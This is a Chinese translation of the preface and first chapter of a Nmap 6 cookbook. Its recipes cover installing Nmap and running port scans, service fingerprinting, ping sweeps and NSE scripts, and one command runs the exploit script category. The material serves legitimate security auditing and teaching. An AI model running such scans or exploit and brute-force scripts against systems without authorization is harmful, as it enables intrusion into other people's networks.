NMAP6-网络探索和安全审计秘籍(全)
NMAP6 网络探索和安全审计秘籍(全)
原文:
annas-archive.org/md5/0DC464DD8E91DC475CC40B74E4774B2B
译者:飞龙
前言
《Nmap 6:网络探索与安全审计食谱》是一本 100%实用的书,采用食谱风格。每个配方都专注于一个单独的任务,并包含命令行示例、样本输出、详细解释和其他有用的提示。
通过九章内容,探索了 Nmap 的广泛功能,涵盖了渗透测试人员和系统管理员的 100 个不同任务。与 Nmap 的官方书籍不同,本书侧重于使用 Nmap 脚本引擎可以完成的任务,同时也涵盖了 Nmap 的核心功能。
有许多优秀的 NSE 脚本,我希望有更多的空间可以包含在这本书中,也有许多脚本将在出版后创建。Luis Martin Garcia 最近发布了一个有趣的视频,展示了 Nmap 多年来的成长,网址为www.youtube.com/watch?v=7rlF1MSAbXk
。我邀请您注册开发邮件列表,了解 Nmap 的最新功能和 NSE 脚本。
我希望您不仅享受阅读这本食谱,而且在掌握 Nmap 脚本引擎的过程中,能够提出新的创意,并为这个令人惊叹的项目做出贡献。
最后,不要忘记您可以向我发送问题,我会尽力帮助您。
本书涵盖内容
第一章,Nmap 基础知识,涵盖了使用 Nmap 执行的最常见任务。此外,它还简要介绍了 Ndiff、Nping 和 Zenmap。
第二章,网络探索,涵盖了 Nmap 支持的主机发现技术,以及 Nmap 脚本引擎的其他有用技巧。
第三章,收集额外的主机信息,涵盖了使用 Nmap 及其脚本引擎进行有趣的信息收集任务。
第四章,审计 Web 服务器,涵盖了与 Web 安全审计相关的任务。
第五章,审计数据库,涵盖了对 MongoDB、MySQL、MS SQL 和 CouchDB 数据库进行安全审计的任务。
第六章,审计邮件服务器,涵盖了 IMAP、POP3 和 SMTP 服务器的任务。
第七章,扫描大型网络,涵盖了在扫描大型网络时有用的任务,从扫描优化到在多个客户端之间分发扫描。
第八章,生成扫描报告,涵盖了 Nmap 支持的输出选项。
第九章,编写自己的 NSE 脚本,涵盖了 NSE 开发的基础知识。其中包括处理套接字、输出、库和并行性的具体示例。
附录 A,参考资料,涵盖了本书中使用的参考资料和官方文档。
本书所需内容
您需要最新版本的 Nmap(可从nmap.org
获取)来按照本书中的配方进行操作。
本书的受众
本书适用于任何希望学习如何使用和掌握 Nmap 和 Nmap 脚本引擎的安全顾问、管理员或爱好者。
注意
本书包含了如何进行各种渗透测试的指南,例如对远程网络和设备进行暴力破解密码审计。在许多情况下,这些任务可能在您的司法管辖区属于非法行为,或者至少属于服务条款违规或职业不端行为。提供这些指南是为了让您能够测试系统对抗威胁,了解这些威胁的性质,并保护自己的系统免受类似攻击。在执行这些任务之前,请确保您站在法律和道德的正确一边...运用您的力量为善!
惯例
在本书中,您会发现一些文本样式,用于区分不同类型的信息。以下是这些样式的一些示例,以及它们的含义解释。
文本中的代码词显示如下:"标志-PS
强制执行 TCP SYN ping 扫描。"
代码块设置如下:
table.insert(fingerprints, {
category='cms',
probes={
{path='/changelog.txt'},
{path='/tinymce/changelog.txt'},
},
matches={
{match='Version (.-) ', output='Version \\1'},
{output='Interesting, a changelog.'}
}
})
任何命令行输入或输出都以以下方式编写:
$ nmap -sP -PS80,21,53 <target>
$ nmap -sP -PS1-1000 <target>
$ nmap -sP -PS80,100-1000 <target>
新术语和重要单词以粗体显示。您在屏幕上看到的单词,例如菜单或对话框中的单词,会以这种方式出现在文本中:"单击确定开始下载您的新工作副本。"
注意
警告或重要提示会以这样的方式出现在框中。
提示
提示和技巧看起来像这样。
第一章:Nmap 基础知识
注意
本章向您展示了如何执行在许多情况下可能是非法、不道德、违反服务条款或只是不明智的一些操作。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边……运用您的力量为善!
在本章中,我们将涵盖:
-
从官方源代码仓库下载 Nmap
-
从源代码编译 Nmap
-
列出远程主机上的开放端口
-
对远程主机的指纹服务
-
在您的网络中查找活动主机
-
使用特定端口范围进行扫描
-
运行 NSE 脚本
-
使用指定的网络接口进行扫描
-
使用 Ndiff 比较扫描结果
-
使用 Zenmap 管理多个扫描配置文件
-
使用 Nping 检测 NAT
-
使用 Nmap 和 Ndiff 远程监控服务器
介绍
Nmap(网络映射器)是一款专门用于网络探索和安全审计的开源工具,最初由 Gordon "Fyodor" Lyon 发布。官方网站(nmap.org
)对其进行了如下描述:
Nmap(网络映射器)是一个用于网络发现和安全审计的免费开源(许可证)实用程序。许多系统和网络管理员也发现它在网络清单、管理服务升级计划和监控主机或服务的正常运行时间等任务中非常有用。Nmap 以新颖的方式使用原始 IP 数据包来确定网络上有哪些主机可用,这些主机提供了哪些服务(应用程序名称和版本),它们正在运行哪种操作系统(和操作系统版本),正在使用哪种类型的数据包过滤器/防火墙,以及其他几十种特征。它旨在快速扫描大型网络,但也可以对单个主机进行扫描。Nmap 可在所有主要计算机操作系统上运行,并提供 Linux、Windows 和 Mac OS X 的官方二进制软件包。
市面上有许多其他端口扫描工具,但没有一个能够提供 Nmap 的灵活性和高级选项。
Nmap 脚本引擎(NSE)通过允许用户编写使用 Nmap 收集的主机信息执行自定义任务的脚本,彻底改变了端口扫描仪的可能性。
此外,Nmap 项目还包括其他出色的工具:
-
Zenmap:Nmap 的图形界面
-
Ndiff:用于比较扫描结果的工具
-
Nping:用于生成数据包和流量分析的优秀工具
-
Ncrack:用于暴力破解网络登录的与 Nmap 兼容的工具
-
Ncat:用于在网络上读写数据的调试工具
不用说,每个安全专业人员和网络管理员都必须掌握这个工具,以便进行安全评估、高效地监控和管理网络。
Nmap 的社区非常活跃,每周都会添加新功能。我鼓励您始终在您的工具库中保持最新版本,如果您还没有这样做;更好的是,订阅开发邮件列表,网址为cgi.insecure.org/mailman/listinfo/nmap-dev
。
本章描述了如何使用 Nmap 执行一些最常见的任务,包括端口扫描和目标枚举。它还包括一些示例,说明了 Zenmap 的配置文件有多方便,如何使用 Nping 进行 NAT 检测,以及 Ndiff 的不同应用,包括如何借助 bash 脚本和 cron 设置远程监控系统。我尽可能添加了许多参考链接,建议您访问它们以了解更多有关 Nmap 执行的高级扫描技术内部工作的信息。
我还创建了网站nmap-cookbook.com
来发布新的相关材料和额外的示例,所以请确保您不时地过来逛逛。
从官方源代码存储库下载 Nmap
本节描述了如何从官方子版本存储库下载 Nmap 的源代码。通过这样做,用户可以编译 Nmap 的最新版本,并跟上提交到子版本存储库的每日更新。
准备
在继续之前,您需要有一个工作的互联网连接和访问子版本客户端。基于 Unix 的平台配备了一个名为subversion(svn)的命令行客户端。要检查它是否已安装在您的系统中,只需打开终端并键入:
$ svn
如果它告诉您找不到该命令,请使用您喜欢的软件包管理器安装svn
或从源代码构建它。从源代码构建 svn 的说明超出了本书的范围,但在网上有广泛的文档记录。使用您喜欢的搜索引擎找到您系统的具体说明。
如果您更喜欢使用图形用户界面,RapidSVN 是一个非常受欢迎的跨平台替代品。您可以从rapidsvn.tigris.org/
下载并安装 RapidSVN。
如何做...
打开您的终端并输入以下命令:
$ svn co --username guest https://svn.nmap.org/nmap/
提示
下载示例代码
您可以从www.packtpub.com
的帐户中下载您购买的所有 Packt 图书的示例代码文件。如果您在其他地方购买了本书,您可以访问www.packtpub.com/support
并注册以直接通过电子邮件接收文件。
等到 svn 下载存储库中的所有文件。当它完成时,您应该看到添加的文件列表,如下面的屏幕截图所示:
当程序返回/退出时,您将在当前目录中拥有 Nmap 的源代码。
它是如何工作的...
$ svn checkout https://svn.nmap.org/nmap/
此命令将下载位于svn.nmap.org/nmap/
的远程存储库的副本。该存储库具有对最新稳定构建的全球读取访问权限,允许 svn 下载您的本地工作副本。
还有更多...
如果您使用 RapidSVN,则按照以下步骤操作:
-
右键单击书签。
-
单击检出新的工作副本。
-
在 URL 字段中键入
https://svn.nmap.org/nmap/
。 -
选择您的本地工作目录。
-
单击确定开始下载您的新工作副本。
尝试开发分支
如果您想尝试开发团队的最新创作,那么有一个名为nmap-exp
的文件夹,其中包含项目的不同实验分支。存储在那里的代码不能保证始终有效,因为开发人员将其用作沙盒,直到准备合并到稳定分支为止。该文件夹的完整子版本 URL 是svn.nmap.org/nmap-exp/
。
保持您的源代码最新
要更新先前下载的 Nmap 副本,请在工作目录中使用以下命令:
$ svn update
您应该看到已更新的文件列表,以及一些修订信息。
另请参阅
-
从源代码编译 Nmap配方
-
列出远程主机上的开放端口配方
-
对远程主机的服务进行指纹识别配方
-
运行 NSE 脚本配方
-
使用 Ndiff 比较扫描结果配方
-
使用 Zenmap 管理多个扫描配置文件配方
-
第八章中的使用 Zenmap 生成网络拓扑图配方,生成扫描报告
-
第八章中的以正常格式保存扫描结果配方,生成扫描报告
从源代码编译 Nmap
预编译的软件包总是需要时间来准备和测试,导致发布之间的延迟。如果您想要保持与最新添加的内容同步,强烈建议编译 Nmap 的源代码。
该食谱描述了如何在 Unix 环境中编译 Nmap 的源代码。
准备工作
确保您的系统中安装了以下软件包:
-
gcc
-
openssl
-
make
使用您喜欢的软件包管理器安装缺少的软件,或者从源代码构建。从源代码构建这些软件包的说明超出了本书的范围,但可以在线获得。
操作步骤...
-
打开您的终端并进入 Nmap 源代码存储的目录。
-
根据您的系统进行配置:
$ ./configure
如果成功,将显示一个 ASCII 龙警告您 Nmap 的强大(如下图所示),否则将显示指定错误的行。
- 使用以下命令构建 Nmap:
$ make
如果您没有看到任何错误,那么您已成功构建了最新版本的 Nmap。您可以通过查找当前目录中编译的二进制文件Nmap
来验证这一点。
如果要使 Nmap 对系统中的所有用户可用,请输入以下命令:
# make install
工作原理...
我们使用脚本configure
来设置不同的参数和影响您的系统和所需配置的环境变量。然后,GNU 的make
通过编译源代码生成了二进制文件。
还有更多...
如果您只需要 Nmap 二进制文件,可以使用以下配置指令来避免安装 Ndiff、Nping 和 Zenmap:
-
通过使用
--without-ndiff
跳过 Ndiff 的安装 -
通过使用
--without-zenmap
跳过 Zenmap 的安装 -
通过使用
--without-nping
跳过 Nping 的安装
OpenSSL 开发库
在构建 Nmap 时,OpenSSL 是可选的。启用它允许 Nmap 访问与多精度整数、哈希和编码/解码相关的此库的功能,用于服务检测和 Nmap NSE 脚本。
在 Debian 系统中,OpenSSL 开发包的名称是libssl-dev
。
配置指令
在构建 Nmap 时可以使用几个配置指令。要获取完整的指令列表,请使用以下命令:
$ ./configure --help
预编译软件包
在线上有几个预编译的软件包(nmap.org/download.html
)可供使用,适用于那些无法访问编译器的人,但不幸的是,除非是最近的版本,否则很可能会缺少功能。Nmap 在不断发展。如果您真的想利用 Nmap 的功能,就要保持本地副本与官方仓库同步。
另请参阅
-
从官方源代码仓库下载 Nmap食谱
-
列出远程主机上的开放端口食谱
-
对远程主机的服务进行指纹识别食谱
-
使用 Ndiff 比较扫描结果食谱
-
使用 Zenmap 管理多个扫描配置文件食谱
-
运行 NSE 脚本食谱
-
使用指定的网络接口进行扫描食谱
-
在第八章中的保存正常格式的扫描结果食谱,生成扫描报告
-
在第八章中的使用 Zenmap 生成网络拓扑图食谱,生成扫描报告
列出远程主机上的开放端口
该食谱描述了使用 Nmap 确定远程主机上端口状态的最简单方法,这是用于识别常用服务的运行过程,通常称为端口扫描。
操作步骤...
-
打开终端。
-
输入以下命令:
$ nmap scanme.nmap.org
扫描结果应该显示在屏幕上,显示有趣的端口及其状态。标记为打开的端口特别重要,因为它们代表目标主机上运行的服务。
工作原理...
通过启动 TCP 端口扫描,以下命令检查主机scanme.nmap.org
上最受欢迎的端口的状态:
$ nmap scanme.nmap.org
结果包含主机信息,如 IPv4 地址和 PTR 记录,以及端口信息,如服务名称和端口状态。
还有更多...
即使对于这种最简单的端口扫描,Nmap 在后台也做了很多事情,这些也可以进行配置。
Nmap 首先通过 DNS 将主机名转换为 IPv4 地址。如果您希望使用不同的 DNS 服务器,请使用--dns-servers <serv1[,serv2],...>
,或者如果您希望跳过此步骤,请使用-n
如下:
$ nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org
然后,它会 ping 目标地址,以检查主机是否存活。要跳过此步骤,请使用–PN
如下:
$ nmap -PN scanme.nmap.org
然后,Nmap 通过反向 DNS 调用将 IPv4 地址转换回主机名。如下使用-n
跳过此步骤:
$ nmap -n scanme.nmap.org
最后,它启动了 TCP 端口扫描。要指定不同的端口范围,请使用-p[1-65535]
,或使用-p-
表示所有可能的 TCP 端口,如下所示:
$ nmap -p1-30 scanme.nmap.org
特权与非特权
以特权用户身份运行nmap <TARGET>
将启动SYN Stealth 扫描。对于无法创建原始数据包的非特权帐户,将使用TCP Connect 扫描。
这两者之间的区别在于 TCP Connect 扫描使用高级系统调用connect来获取有关端口状态的信息。这意味着每个 TCP 连接都完全完成,因此速度较慢,更容易被检测并记录在系统日志中。SYN Stealth 扫描使用原始数据包发送特制的 TCP 数据包,更可靠地检测端口状态。
端口状态
Nmap 将端口分类为以下状态:
注意
发送的数据包类型取决于使用的扫描技术。
-
开放:这表示应用程序正在此端口上监听连接。
-
关闭:这表示探测已收到,但在此端口上没有应用程序监听。
-
过滤:这表示探测未收到,无法确定状态。还表示探测正在被某种过滤器丢弃。
-
未过滤:这表示探测已收到,但无法确定状态。
-
开放/过滤:这表示端口被过滤或打开,但 Nmap 无法确定状态。
-
关闭/过滤:这表示端口被过滤或关闭,但 Nmap 无法确定状态。
Nmap 支持的端口扫描技术
我们展示了执行端口扫描的最简单方法,但 Nmap 提供了大量先进的扫描技术。使用nmap -h
或访问nmap.org/book/man-port-scanning-techniques.html
了解更多信息。
另请参阅
-
指纹识别远程主机的服务食谱
-
在您的网络中查找活动主机食谱
-
使用特定端口范围进行扫描食谱
-
使用指定网络接口进行扫描食谱
-
使用 Zenmap 管理不同的扫描配置文件食谱
-
使用 Nmap 和 Ndiff 远程监视服务器食谱
-
从扫描中排除主机食谱在第二章中,网络探索
-
扫描 IPv6 地址食谱在第二章中,网络探索
-
指纹识别主机操作系统食谱在第三章中,收集额外的主机信息
-
发现 UDP 服务食谱在第三章中,收集额外的主机信息
-
列出远程主机支持的协议食谱在第三章中,收集额外的主机信息
指纹识别远程主机的服务
版本检测是 Nmap 最受欢迎的功能之一。知道服务的确切版本对于使用该服务寻找安全漏洞的渗透测试人员以及希望监视网络是否有未经授权更改的系统管理员非常有价值。对服务进行指纹识别还可能揭示有关目标的其他信息,例如可用模块和特定协议信息。
本食谱描述了如何使用 Nmap 对远程主机的服务进行指纹识别。
如何做...
打开终端并输入以下命令:
$ nmap -sV scanme.nmap.org
此命令的结果是一个包含名为版本的额外列的表,显示特定的服务版本,如果被识别。其他信息将被括号括起来。请参考以下截图:
它是如何工作的...
标志-sV
启用服务检测,返回额外的服务和版本信息。
服务检测是 Nmap 最受欢迎的功能之一,因为它在许多情况下非常有用,比如识别安全漏洞或确保服务在给定端口上运行。
这个功能基本上是通过从nmap-service-probes
发送不同的探测到疑似开放端口的列表。探测是根据它们可能被用来识别服务的可能性选择的。
关于服务检测模式的工作原理和使用的文件格式有非常详细的文档,网址为nmap.org/book/vscan.html
。
还有更多...
您可以通过更改扫描的强度级别来设置要使用的探测数量,使用参数--version-intensity [0-9]
,如下所示:
# nmap -sV –-version-intensity 9
侵略性检测
Nmap 有一个特殊的标志来激活侵略性检测,即-A
。侵略模式启用了 OS 检测(-O
)、版本检测(-sV
)、脚本扫描(-sC
)和跟踪路由(--traceroute
)。不用说,这种模式发送了更多的探测,更容易被检测到,但提供了大量有价值的主机信息。您可以通过以下命令之一来查看:
# nmap -A <target>
或
# nmap -sC -sV -O <target>
提交服务指纹
Nmap 的准确性来自多年来通过用户提交收集的数据库。非常重要的是,我们帮助保持这个数据库的最新。如果 Nmap 没有正确识别服务,请将您的新服务指纹或更正提交到insecure.org/cgi-bin/submit.cgi?
。
另请参阅
-
列出远程主机上的开放端口食谱
-
在您的网络中查找活动主机食谱
-
使用特定端口范围进行扫描食谱
-
使用指定网络接口进行扫描食谱
-
使用 Zenmap 管理多个扫描配置文件食谱
-
使用 Nmap 和 Ndiff 远程监视服务器食谱
-
在第二章的使用额外的随机数据隐藏我们的流量食谱中,网络探索
-
在第二章的扫描 IPv6 地址食谱中,网络探索
-
在第三章的从 WHOIS 记录中获取信息食谱中,收集额外的主机信息
-
在第三章的暴力破解 DNS 记录食谱中,收集额外的主机信息
-
在第三章的对主机的操作系统进行指纹识别食谱中,收集额外的主机信息
在您的网络中查找活动主机
在网络中查找活动主机通常被渗透测试人员用来枚举活动目标,也被系统管理员用来计算或监视活动主机的数量。
此配方描述了如何执行 ping 扫描,以通过 Nmap 找到网络中的活动主机。
如何做...
打开您的终端并输入以下命令:
$ nmap -sP 192.168.1.1/24
结果显示了在线并响应 ping 扫描的主机。
Nmap scan report for 192.168.1.102
Host is up.
Nmap scan report for 192.168.1.254
Host is up (0.0027s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 256 IP addresses (2 hosts up) scanned in 10.18 seconds
在这种情况下,我们在网络中找到了两个活动主机。Nmap 还找到了 MAC 地址,并识别了家用路由器的供应商。
它是如何工作的...
Nmap 使用-sP
标志进行 ping 扫描。这种类型的扫描对于枚举网络中的主机非常有用。它使用 TCP ACK 数据包和 ICMP 回显请求(如果以特权用户身份执行),或者使用connect()
syscall
发送的 SYN 数据包(如果由不能发送原始数据包的用户运行)。
在192.168.1.1/24
中使用 CIDR/24
表示我们要扫描网络中的所有 256 个 IP。
还有更多...
在以特权用户身份扫描本地以太网网络时使用 ARP 请求,但您可以通过包括标志--send-ip
来覆盖此行为。
# nmap -sP --send-ip 192.168.1.1/24
Traceroute
使用--traceroute
来包括您的机器和每个找到的主机之间的路径。
Nmap scan report for 192.168.1.101
Host is up (0.062s latency).
MAC Address: 00:23:76:CD:C5:BE (HTC)
TRACEROUTE
HOP RTT ADDRESS
1 61.70 ms 192.168.1.101
Nmap scan report for 192.168.1.102
Host is up.
Nmap scan report for 192.168.1.254
Host is up (0.0044s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
TRACEROUTE
HOP RTT ADDRESS
1 4.40 ms 192.168.1.254
Nmap done: 256 IP addresses (3 hosts up) scanned in 10.03 seconds
NSE 脚本
Ping 扫描不执行端口扫描或服务检测,但可以根据主机规则启用 Nmap 脚本引擎,例如sniffer-detect
和dns-brute
的情况。
# nmap -sP --script discovery 192.168.1.1/24
Pre-scan script results:
| broadcast-ping:
|_ Use the newtargets script-arg to add the results as targets
Nmap scan report for 192.168.1.102
Host is up.
Host script results:
|_dns-brute: Can't guess domain of "192.168.1.102"; use dns-brute.domain script argument.
Nmap scan report for 192.168.1.254
Host is up (0.0023s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Host script results:
|_dns-brute: Can't guess domain of "192.168.1.254"; use dns-brute.domain script argument.
|_sniffer-detect: Likely in promiscuous mode (tests: "11111111")
Nmap done: 256 IP addresses (2 hosts up) scanned in 14.11 seconds
另请参阅
-
运行 NSE 脚本配方
-
第二章中的使用广播 ping 发现主机配方,网络探索
-
第二章中的使用 TCP SYN ping 扫描发现主机配方,网络探索
-
第二章中的使用 TCP ACK ping 扫描发现主机配方,网络探索
-
第二章中的使用 ICMP ping 扫描发现主机配方,网络探索
-
第二章中的使用广播脚本收集网络信息配方,网络探索
-
第三章中的发现指向相同 IP 的主机名配方,收集额外主机信息
-
第三章中的强制 DNS 记录配方,收集额外主机信息
-
第三章中的欺骗端口扫描的源 IP配方,收集额外主机信息
使用特定端口范围进行扫描
有时系统管理员正在寻找使用特定端口进行通信的感染机器,或者用户只是寻找特定服务或开放端口,而不太关心其他内容。缩小使用的端口范围也可以优化性能,在扫描多个目标时非常重要。
此配方描述了在执行 Nmap 扫描时如何使用端口范围。
如何做...
打开您的终端并输入以下命令:
# nmap -p80 192.168.1.1/24
将显示带有端口80
状态的主机列表。
Nmap scan report for 192.168.1.102
Host is up (0.000079s latency).
PORT STATE SERVICE
80/tcp closed http
Nmap scan report for 192.168.1.103
Host is up (0.016s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:16:6F:7E:E0:B6 (Intel)
Nmap scan report for 192.168.1.254
Host is up (0.0065s latency).
PORT STATE SERVICE
80/tcp open http
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.93 seconds
它是如何工作的...
Nmap 使用标志-p
来设置要扫描的端口范围。此标志可以与任何扫描方法结合使用。在前面的示例中,我们使用参数-p80
来告诉 Nmap 我们只对端口 80 感兴趣。
在192.168.1.1/24
中使用 CIDR/24
表示我们要扫描网络中的所有 256 个 IP。
还有更多...
对于参数-p
,有几种被接受的格式:
- 端口列表:
# nmap -p80,443 localhost
- 端口范围:
# nmap -p1-100 localhost
- 所有端口:
# nmap -p- localhost
- 协议的特定端口:
# nmap -pT:25,U:53 <target>
- 服务名称:
# nmap -p smtp <target>
- 服务名称通配符:
# nmap -p smtp* <target>
- 仅在 Nmap 服务中注册的端口:
# nmap -p[1-65535] <target>
另请参阅
-
在您的网络中查找活动主机配方
-
列出远程主机上的开放端口配方
-
使用指定的网络接口进行扫描配方
-
运行 NSE 脚本配方
-
第二章中的使用额外的随机数据隐藏我们的流量配方,网络探索
-
第二章中的强制 DNS 解析配方,网络探索
-
第二章中的从扫描中排除主机配方,网络探索
-
第二章中的扫描 IPv6 地址配方,网络探索
-
第三章中的列出远程主机支持的协议配方,收集额外的主机信息
运行 NSE 脚本
NSE 脚本非常强大,已经成为 Nmap 的主要优势之一,可以执行从高级版本检测到漏洞利用的任务。
以下配方描述了如何运行 NSE 脚本以及此引擎的不同选项。
如何做到...
要在扫描结果中包含 Web 服务器索引文档的标题,请打开终端并输入以下命令:
$ nmap -sV --script http-title scanme.nmap.org
它是如何工作的...
参数--script设置应该在扫描中运行的 NSE 脚本。在这种情况下,当服务扫描检测到 Web 服务器时,将为所选的 NSE 脚本初始化一个并行线程。
有超过 230 个可用的脚本,执行各种各样的任务。NSE 脚本http-title如果检测到 Web 服务器,则返回根文档的标题。
还有更多...
您可以一次运行多个脚本:
$ nmap --script http-headers,http-title scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.096s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
| http-headers:
| Date: Mon, 24 Oct 2011 07:12:09 GMT
| Server: Apache/2.2.14 (Ubuntu)
| Accept-Ranges: bytes
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-title: Go ahead and ScanMe!
646/tcp filtered ldp
9929/tcp open nping-echo
此外,NSE 脚本可以按类别、表达式或文件夹进行选择:
- 运行
vuln
类别中的所有脚本:
$ nmap -sV --script vuln <target>
- 运行
version
或discovery
类别中的脚本:
$ nmap -sV --script="version,discovery" <target>
- 运行除
exploit
类别中的脚本之外的所有脚本:
$ nmap -sV --script "not exploit" <target>
- 运行除
http-brute
和http-slowloris
之外的所有 HTTP 脚本:
$ nmap -sV --script "(http-*) and not(http-slowloris or http-brute)" <target>
要调试脚本,请使用--script-trace
。这将启用执行脚本的堆栈跟踪,以帮助您调试会话。请记住,有时您可能需要增加调试级别,使用标志-d[1-9]
来解决问题的根源:
$ nmap -sV –-script exploit -d3 --script-trace 192.168.1.1
NSE 脚本参数
标志--script-args
用于设置 NSE 脚本的参数。例如,如果您想设置 HTTP 库参数useragent
,您将使用:
$ nmap -sV --script http-title --script-args http.useragent="Mozilla 999" <target>
在设置 NSE 脚本的参数时,您还可以使用别名。例如,您可以使用
$ nmap -p80 --script http-trace --script-args path <target>
而不是:
$ nmap -p80 --script http-trace --script-args http-trace.path <target>
添加新脚本
要测试新脚本,您只需将它们复制到您的/scripts
目录,并运行以下命令来更新脚本数据库:
# nmap --script-update-db
NSE 脚本类别
-
auth
:此类别用于与用户身份验证相关的脚本。 -
broadcast
:这是一个非常有趣的脚本类别,它使用广播请求收集信息。 -
brute
:此类别用于帮助进行暴力密码审计的脚本。 -
default
:此类别用于在执行脚本扫描(-sC
)时执行的脚本。 -
discovery
:此类别用于与主机和服务发现相关的脚本。 -
dos
:此类别用于与拒绝服务攻击相关的脚本。 -
exploit
:此类别用于利用安全漏洞的脚本。 -
external
:此类别用于依赖于第三方服务的脚本。 -
fuzzer
:此类别用于专注于模糊测试的 NSE 脚本。 -
intrusive
:此类别用于可能会导致崩溃或产生大量网络噪音的脚本。系统管理员可能认为具有侵入性的脚本属于此类别。 -
malware
:此类别用于与恶意软件检测相关的脚本。 -
safe
:此类别用于在所有情况下都被认为是安全的脚本。 -
version
:此类别用于高级版本控制的脚本。 -
vuln
:此类别用于与安全漏洞相关的脚本。
另请参阅
-
使用 Zenmap 管理不同的扫描配置文件配方
-
使用 Nmap 和 Ndiff 远程监视服务器食谱
-
远程主机的服务指纹识别食谱
-
在你的网络中查找活动主机食谱
-
在第二章的网络探索中的使用广播脚本收集网络信息食谱
-
在第三章的收集额外主机信息中的收集有效的电子邮件帐户食谱
-
在第三章的收集额外主机信息中的发现指向相同 IP 的主机名食谱
-
在第三章的收集额外主机信息中的暴力破解 DNS 记录食谱
使用指定的网络接口进行扫描
Nmap 以其灵活性而闻名,并允许用户在扫描时指定使用的网络接口。当运行一些嗅探器 NSE 脚本、发现你的接口是否支持混杂模式,或者测试具有路由问题的网络连接时,这非常方便。
以下食谱描述了如何强制 Nmap 使用指定的网络接口进行扫描。
如何操作...
打开你的终端并输入以下命令:
$ nmap -e <INTERFACE> scanme.nmap.org
这将强制 Nmap 使用接口<INTERFACE>
对scanme.nmap.org
执行 TCP 扫描。
它是如何工作的...
当 Nmap 无法自动选择一个网络接口时,使用标志-e来设置特定的网络接口。该标志的存在允许 Nmap 通过备用接口发送和接收数据包。
还有更多...
如果你需要手动选择你的接口,你会看到以下消息:
WARNING: Unable to find appropriate interface for system route to ...
检查 TCP 连接
要检查网络接口是否能与你的网络通信,你可以尝试强制 Nmap 使用指定的接口进行 ping 扫描:
$ nmap -sP -e INTERFACE 192.168.1.254
--------------- Timing report ---------------
hostgroups: min 1, max 100000
rtt-timeouts: init 1000, min 100, max 10000
max-scan-delay: TCP 1000, UDP 1000, SCTP 1000
parallelism: min 0, max 0
max-retries: 10, host-timeout: 0
min-rate: 0, max-rate: 0
---------------------------------------------
Initiating ARP Ping Scan at 02:46
Scanning 192.168.1.254 [1 port]
Packet capture filter (device wlan2): arp and arp[18:4] = 0x00C0CA50 and arp[22:2] = 0xE567
Completed ARP Ping Scan at 02:46, 0.06s elapsed (1 total hosts)
Overall sending rates: 16.76 packets / s, 704.05 bytes / s.
mass_rdns: Using DNS server 192.168.1.254
Initiating Parallel DNS resolution of 1 host. at 02:46
mass_rdns: 0.03s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1]
Completed Parallel DNS resolution of 1 host. at 02:46, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Nmap scan report for 192.168.1.254
Host is up, received arp-response (0.0017s latency).
MAC Address: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)
Final times for host: srtt: 1731 rttvar: 5000 to: 100000
Read from /usr/local/bin/../share/nmap: nmap-mac-prefixes nmap-payloads.
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
Raw packets sent: 1 (28B) | Rcvd: 1 (28B)
另请参阅
-
运行 NSE 脚本食谱
-
使用特定端口范围进行扫描食谱
-
在第二章的网络探索中的使用额外随机数据隐藏我们的流量食谱
-
在第二章的网络探索中的强制 DNS 解析食谱
-
在第二章的网络探索中的排除扫描主机食谱
-
在第三章的收集额外主机信息中的暴力破解 DNS 记录食谱
-
在第三章的收集额外主机信息中的识别主机操作系统的指纹识别食谱
-
在第三章的收集额外主机信息中的发现 UDP 服务食谱
-
在第三章的收集额外主机信息中的列出远程主机支持的协议食谱
使用 Ndiff 比较扫描结果
Ndiff 旨在解决使用两个 XML 扫描结果进行差异比较的问题。它通过删除误报并生成更易读的输出来比较文件,非常适合需要跟踪扫描结果的人。
这个食谱描述了如何比较两个 Nmap 扫描以检测主机中的变化。
准备工作
Ndiff 需要两个 Nmap XML 文件才能工作,所以确保你之前已经保存了同一主机的扫描结果。如果没有,你可以随时扫描你自己的网络,停用一个服务,然后再次扫描以获得这两个测试文件。要将 Nmap 扫描结果保存到 XML 文件中,请使用-oX <filename>
。
如何操作...
-
打开你的终端。
-
输入以下命令:
$ ndiff FILE1 FILE2
- 输出返回
FILE1
和FILE2
之间的所有差异。新行显示在加号后。在FILE2
上删除的行显示在减号后。
它是如何工作的...
Ndiff 使用第一个文件作为基础来与第二个文件进行比较。它显示主机、端口、服务和操作系统检测的状态差异。
还有更多...
如果您喜欢 Zenmap,您可以使用以下步骤:
-
启动 Zenmap。
-
单击主工具栏上的工具。
-
单击比较结果(Ctrl + D)。
-
通过单击打开在名为扫描的部分中选择第一个文件。
-
通过单击打开在名为B 扫描的部分中选择第二个文件。
输出格式
默认情况下返回人类可读的格式。但是,如果需要,Ndiff 可以使用--xml
标志以 XML 格式返回差异。
详细模式
详细模式包括所有信息,包括未更改的主机和端口。要使用它,请输入以下命令:
$ ndiff -v FILE1 FILE2
$ ndiff –verbose FILE1 FILE2
另请参阅
-
使用 Nmap 和 Ndiff 远程监视服务器配方
-
使用 Zenmap 管理多个扫描配置文件配方
-
IP 地址地理定位配方在第三章中,获取额外的主机信息
-
从 WHOIS 记录获取信息配方在第三章中,获取额外的主机信息
-
指纹识别主机操作系统配方在第三章中,获取额外的主机信息
-
发现 UDP 服务配方在第三章中,获取额外的主机信息
-
检测可能的 XST 漏洞配方在第四章中,审计 Web 服务器
使用 Zenmap 管理多个扫描配置文件
